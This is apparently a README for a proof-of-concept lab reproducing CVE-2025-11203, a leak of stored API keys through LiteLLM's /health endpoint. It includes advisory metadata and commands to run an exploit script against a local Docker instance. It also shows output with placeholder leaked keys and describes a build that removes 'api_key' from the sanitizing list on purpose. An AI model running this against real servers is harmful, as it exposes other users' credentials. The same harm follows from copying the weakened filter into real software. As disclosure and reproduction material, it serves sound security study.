
O código para reproduzir pessoalmente a vulnerabilidade correspondente
LiteLLM (versões < 1.63.14), o endpoint
/health, ao processar o parâmetroapi_key, não filtra corretamente informações sensíveis, permitindo que usuários autenticados obtenham as chaves de API armazenadas nas configurações de outros modelos. O campoapi_key, que deveria ser removido pela função_clean_endpoint_data(), é vazado em determinados caminhos de código.
| Campo | Valor |
|---|
| CVE | CVE-2025-11203 |
| ID ZDI | ZDI-25-929 (ZDI-CAN-26585) |
| CVSS v3.0 | 3.5 (BAIXA) — AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:N/A:N |
| CWE | CWE-200 (Exposição de Informações Sensíveis a um Ator Não Autorizado) |
| Afetados | LiteLLM < 1.63.14 |
| Corrigido | v1.63.14+ (aplicação completa de _clean_endpoint_data()) |
| Publicado em | 2025-10-29 |
| Descoberto por | David Fiser & Alfredo Oliveira — Trend Micro Security Research |
| Relatado ao fornecedor | 2025-03-25 |
| Links | ZDI-25-929 • NVD • GHSA-w4vf-cc4x-mpjq |
O endpoint /health do LiteLLM é usado para retornar o status de saúde de todos os modelos configurados. Em condições normais, a função _clean_endpoint_data()
deve remover campos sensíveis (como api_key, x-api-key, etc.) da resposta da verificação de saúde.
No entanto, antes da v1.63.14, essa função de limpeza não era executada ou era executada de forma incompleta em determinados caminhos de código, fazendo com que as chaves de API das configurações dos modelos fossem retornadas em texto claro na resposta da verificação de saúde.
| Endpoint | Método | Descrição |
|---|---|---|
/health | GET | Retorna o status de saúde de todos os modelos |
/health/liveliness | GET | Verificação de atividade (liveness) |
/health/readiness | GET | Verificação de prontidão (readiness) |
Usuários autenticados podem obter por meio da interface de verificação de saúde:
# 1. 启动脆弱版 LiteLLM
docker compose up -d
# 2. 安装依赖
pip install -r requirements.txt
# 3. 运行利用脚本
python3 exploit/exploit.py --target http://localhost:4000 --key sk-litellm-master-key
# 4. 查看完整响应
python3 exploit/exploit.py --target http://localhost:4000 --key sk-litellm-master-key --verbose
# 5. (可选)验证修复版本
docker compose --profile fixed up -d
python3 exploit/exploit.py --target http://localhost:4001 --key sk-litellm-master-key --fixed
======================================================================
[VULNERABLE] CVE-2025-11203 — Health Endpoint API Key Leak
======================================================================
Target : http://localhost:4000
API Key : sk-litellm-master-key...
Endpoint : /health
[*] Step 1: Query /health (this may take ~60s while LiteLLM probes upstream models)...
HTTP 200 — OK
[*] Step 2: Scanning for leaked credentials...
[🔥] LEAKED CREDENTIALS FOUND: 3 item(s)!
Path : unhealthy_endpoints[0].api_key
Field : api_key
Value : sk-this-is-a-leaked-openai-key...cdef123456 (len=43)
Path : unhealthy_endpoints[1].api_key
Field : api_key
Value : sk-another-leaked-key-789012xy...-789012xyz (len=31)
Path : unhealthy_endpoints[2].api_key
Field : api_key
Value : sk-ant-anthropic-leaked-key-xx...-key-xxxxx (len=33)
Models checked: 3
Credentials leaked: 3
[🔥] VULNERABILITY CONFIRMED: API keys exposed via /health!
Nota: A etapa 1 leva ~60s porque o LiteLLM testa cada modelo upstream (as chaves falsas fazem cada conexão expirar). As chaves vazadas aparecem em
unhealthy_endpoints, pois as chaves falsas não conseguem se conectar à OpenAI/Anthropic.
A versão corrigida bloqueia o vazamento:
======================================================================
[FIXED] CVE-2025-11203 — Health Endpoint API Key Leak
======================================================================
No API keys found in response.
[+] Expected: keys sanitized by _clean_endpoint_data()
A vulnerabilidade está na função _clean_endpoint_data(), em litellm/proxy/health_check.py,
que filtra campos sensíveis como api_key por meio da lista ILLEGAL_DISPLAY_PARAMS:
ILLEGAL_DISPLAY_PARAMS = [
"messages",
"api_key",
"prompt",
"input",
"vertex_credentials",
"aws_access_key_id",
"aws_secret_access_key",
]
def _clean_endpoint_data(endpoint_data: dict, details: Optional[bool] = True):
return (
{k: v for k, v in endpoint_data.items() if k not in ILLEGAL_DISPLAY_PARAMS}
if details is not False
else {k: v for k, v in endpoint_data.items() if k in MINIMAL_DISPLAY_PARAMS}
)
Nesta demonstração, "api_key" foi removido de ILLEGAL_DISPLAY_PARAMS por meio de sed,
fazendo com que a resposta do /health retorne a configuração bruta dos modelos, simulando o cenário em que essa função de limpeza é contornada em determinados caminhos de código.
CVE-2025-11203/
├── README.md # This file
├── docker-compose.yml # Vulnerable + fixed LiteLLM
├── litellm_config.yaml # Config with 3 models + API keys
├── requirements.txt # Python dependencies
├── litellm-vuln/
│ └── Dockerfile # pip install "litellm[proxy]==1.61.0" + patch
├── exploit/
│ └── exploit.py # Main exploit script
├── docs/
│ └── advisory.md
└── screenshots/
Corrigido na v1.63.14, garantindo que _clean_endpoint_data() seja chamada corretamente em todos os caminhos de código da verificação de saúde.
/healthAviso legal: Este conteúdo é fornecido apenas para fins educacionais e testes de segurança autorizados.